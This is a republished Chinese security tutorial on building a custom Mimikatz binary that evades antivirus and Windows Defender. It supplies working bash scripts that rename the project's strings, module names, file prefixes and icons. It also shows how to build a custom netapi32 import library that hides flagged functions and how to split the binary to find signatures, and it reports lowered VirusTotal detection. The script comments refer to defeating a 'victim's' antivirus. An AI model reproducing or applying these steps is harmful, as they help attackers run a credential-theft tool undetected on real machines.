前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >手把手教你构建自定义的Mimikatz二进制文件

手把手教你构建自定义的Mimikatz二进制文件

作者头像
FB客服
发布2020-10-27 14:39:49
9540
发布2020-10-27 14:39:49
举报
文章被收录于专栏:FreeBuf

介绍

在这篇文章中,我们将教会大家如何通过修改源代码的方式构建自定义的Mimikatz二进制文件,并绕过反病毒/终端检测与响应产品。

目前社区有很多关于Mimikatz混淆的技术文章,但大多数都针对的是如何让Invoke-Mimikatz绕过AMSI或直接使用PowerShell版本的混淆工具。但是,我选择的是构建一个不会被反病毒产品标记的自定义Mimikatz版本:

代码语言:javascript
复制
# This script downloads and slightly "obfuscates" the mimikatz project.

# Most AV solutions block mimikatz based on certain keywords in the binary like "mimikatz", "gentilkiwi", "benjamin@gentilkiwi.com" ...,

# so removing them from the project before compiling gets us past most of the AV solutions.

# We can even go further and change some functionality keywords like "sekurlsa", "logonpasswords", "lsadump", "minidump", "pth" ....,

# but this needs adapting to the doc, so it has not been done, try it if your victim's AV still detects mimikatz after this program.

git clone https://github.com/gentilkiwi/mimikatz.git windows

mv windows/mimikatz windows/windows

find windows/ -type f -print0 | xargs -0 sed -i 's/mimikatz/windows/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/MIMIKATZ/WINDOWS/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/Mimikatz/Windows/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/DELPY/James/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/Benjamin/Troy/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/benjamin@gentilkiwi.com/jtroy@hotmail.com/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/creativecommons/python/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/gentilkiwi/MSOffice/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/KIWI/ONEDRIVE/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/Kiwi/Onedrive/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/kiwi/onedrive/g'

find windows/ -type f -name '*mimikatz*' | while read FILE ; do

newfile="$(echo ${FILE} |sed -e 's/mimikatz/windows/g')";

mv "${FILE}" "${newfile}";

done

find windows/ -type f -name '*kiwi*' | while read FILE ; do

newfile="$(echo ${FILE} |sed -e 's/kiwi/onedrive/g')";

mv "${FILE}" "${newfile}";

Done

接下来,我们一起看一看如何去构建一个自定义的Mimikatz二进制文件。

Mimikatz包含病毒

毫无疑问,你下载的每一个Mimikatz发行版都会被反病毒产品标记为恶意软件,因为很多攻击者都会选择使用Mimikatz和其他开源项目来实施各种攻击行为。显然,有很多人并不知道为何这些开源项目会被标记,以及它们是如何被标记的:

真实的攻击者和渗透测试人员一般都不会直接选择使用项目的发布版本,而通常会选择使用自己的自定义构建版本。一般来说,他们只会选择使用Mimikatz的部分源代码。在这种情况下,我们会在保留原有功能特性的基础上对源代码进行修改以评估其检测率。因此,使用自定义的源码文件还是我们最佳的实践方式。

基础特征

针对Mimikatz的特征,我们首先需要替换掉下列字符串:

1、mimikatz, MIMIKATZ和Mimikatz

2、DELPY, Benjamin, benjamin@gentilkiwi.com

3、creativecommons

4、gentilkiwi

5、KIWI, Kiwi和kiwi

从反病毒厂商的角度来看,首先需要标记的就是源码文件中的这些字符串,如果你打开Mimikatz的菜单,你将看到如下图所示的信息:

菜单中所有的字符串都可以证明Mimikatz正在运行,所以我们需要在脚本中添加下列特征字符串来替换掉它们:

代码语言:javascript
复制
“A La Vie, A L’Amour”

http://blog.gentilkiwi.com/mimikatz

Vincent LE TOUX

vincent.letoux@gmail.com

http://pingcastle.com

http://mysmartlogon.com

我们也可以直接打开mimikatz.c文件,然后替换掉Banner,或者直接删掉它们。

接下来,我们还需要替换掉一些功能性的关键词。Mimikatz中的主模块如下:

代码语言:javascript
复制
1、crypto, dpapi, kerberos, lsadump, ngc, sekurlsa

2、standard, privilege, process, service, ts, event

3、misc, token, vault, minesweeper, net, busylight

4、sysenv, sid, iis, rpc, sr98, rdm, acr

我们还可以输入一个无效的模块名(例如::)来显示所有可用模块:

在这里,我们有两个选择。要么把所有的函数名替换成全大写字母,或者直接修改函数名称。对于第一种方法,我们熟悉的那些函数相当于没有变化。但对于第二种方法,我们就得去记新的函数名了。目前,我们选择继续使用熟悉得函数名,因为我怕一旦不小心,就会破坏其原有功能。为了为每个新版本构建一个自定义二进制文件,我们用随机名称替换与函数名无关的字符串。

要替换的另一个重要内容是二进制文件的图标。因此,在gist的修改版本中,我们用一些随机下载的图标替换现有的图标。

主菜单中的每个功能都有子功能。例如,最著名的函数sekurlsa就包含了以下子函数:

代码语言:javascript
复制
1、msv, wdigest, kerberos, tspkg

2、livessp, cloudap, ssp, logonpasswords

3、process, minidump, bootkey, pth

4、krbtgt, dpapisystem, trust, backupkeys

5、tickets, ekeys, dpapi, credman

确保大部分熟知的Mimikatz标识符都已经被修改了,其中也包括子函数名。脚本样例代码:

https://gist.github.com/S3cur3Th1sSh1t/08623de0c5cc67d36d4a235cec0f5333

通过执行Bash脚本,编译代码,并上传至VirusToal,我们将查看到下列结果:

25/67的检测率,但肯定还不够。

netapi32.dll

为了找到更多的特征,我们可以使用下列命令来将文件分割成多个部分:

代码语言:javascript
复制
head -c byteLength mimikatz.exe > split.exe

如果结果文件被删除了,说明其中就存在特征。如果没有被删除,那么这部分文件就是安全的。你还可以使用DefenderCheck工具来自动化实现该任务。简单来说,就是将文件分割成多个部分,然后把它们拷贝到C:\temp\目录下,并用Windows Defender进行扫描:

netapi32.dll中的下面这三个函数都会被Windows Defender标记:

代码语言:javascript
复制
I_NetServerAuthenticate2

I_NetServerReqChallenge

I_NetServerTrustPasswordsGet

在这里,我们可以创建一个包含下列内容的.def文件来构建一个自定义的netapi32.min.lib:

代码语言:javascript
复制
IBRARY netapi32.dll

EXPORTS

  I_NetServerAuthenticate2 @ 59

  I_NetServerReqChallenge @ 65

  I_NetServerTrustPasswordsGet @ 62

此时,我们可以使用下列命令在Visual Studio开发者终端中构建netapi32.min.lib文件:

代码语言:javascript
复制
lib /DEF:netapi32.def /OUT:netapi32.min.lib

我们将该文件嵌入至lib\x64\目录,然后重新编译。再次运行DefenderCheck之后,将无法检测到任何内容:

这也就意味着,我们已经绕过了Windows Defender的“实时保护”功能。但如果我们启用云保护功能,然后将该文件拷贝至其他位置,它还是会被检测到:

替换更多的字符串

当然了,我们还有很多需要替换的东西。首先,我们还要处理那些比较明显的字符串。Mimikatz菜单中包含对每个函数的介绍。比如说,子函数privilege就有下列描述信息:

这里,我们可以将所有的描述以字符串的形式添加进我们的Bash脚本中来进行替换。但并非所有都需要,比如说下面这些:

代码语言:javascript
复制
answer - Answer to the Ultimate Question of Life, the Universe, and Everything

coffee - Please, make me a coffee!

很多反病毒厂商会将相关的功能性DLL文件加载行为也进行标记,Mimikatz需要从.DLL文件中加载很多函数,为了在Mimikatz源代码中找到相关的DLL文件,我们需要打开Visual Studio,按下STRG + SHIFT + F。此时将能够搜索整个项目,搜索.dll就可以查看到项目中所有使用到的DLL文件了,然后将它们添加到Bash脚本中进行名称替换即可。

目录&文件结构

整个项目的目录结构似乎也是反病毒产品检测的根据之一,这里所有可用的函数名称貌似都是以kuhl或KULL作为前缀来声明的:

我们可以直接替换掉这些前缀:

代码语言:javascript
复制
kuhl=$(cat /dev/urandom | tr -dc "a-z" | fold -w 4 | head -n 1)

find windows/ -type f -print0 | xargs -0 sed -i "s/kuhl/$kuhl/g"

kull=$(cat /dev/urandom | tr -dc "a-z" | fold -w 4 | head -n 1)

find windows/ -type f -print0 | xargs -0 sed -i "s/kull/$kull/g"

find windows/ -type f -name "*kuhl*" | while read FILE ; do

newfile="$(echo ${FILE} |sed -e "s/kuhl/$kuhl/g")";

mv "${FILE}" "${newfile}";

done

find windows/ -type f -name "*kull*" | while read FILE ; do

newfile="$(echo ${FILE} |sed -e "s/kull/$kull/g")";

mv "${FILE}" "${newfile}";

done

under=$(cat /dev/urandom | tr -dc "a-z" | fold -w 4 | head -n 1)

find windows/ -type f -print0 | xargs -0 sed -i "s/_m_/$under/g"

find windows/ -type f -name "*_m_*" | while read FILE ; do

newfile="$(echo ${FILE} |sed -e "s/_m_/$under/g")";

mv "${FILE}" "${newfile}";

Done

Bash脚本:

https://gist.github.com/S3cur3Th1sSh1t/cb040a750f5984c41c8f979040ed112a

执行Bash脚本之后,编译并上传至Virustotal:

虽然检测率还没啥太大变化,但目前已经可以绕过开启了云保护功能的Windows Defender了:

链接&资源

WinPwn - https://github.com/S3cur3Th1sSh1t/WinPwn Inspiring Gist - https://gist.github.com/imaibou/92feba3455bf173f123fbe50bbe80781 Mimikatz - https://github.com/gentilkiwi/mimikatz Mimikatz Features & Detection - https://adsecurity.org/?page_id=1821 DefenderCheck - https://github.com/matterpreter/DefenderCheck Obfuscating Mimikatz - https://sudonull.com/post/27330-Getting-around-Windows-Defender-cheaply-and-cheerfully-obfuscating-Mimikatz-THunter-Blog AVCleaner C/C++ obfuscation - https://blog.scrt.ch/2020/06/19/engineering-antivirus-evasion/& https://blog.scrt.ch/2020/07/15/engineering-antivirus-evasion-part-ii/ PEZor - https://iwantmore.pizza/posts/PEzor.html

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-10-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 介绍
  • Mimikatz包含病毒
  • 基础特征
  • netapi32.dll
  • 替换更多的字符串
  • 目录&文件结构
  • 链接&资源
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档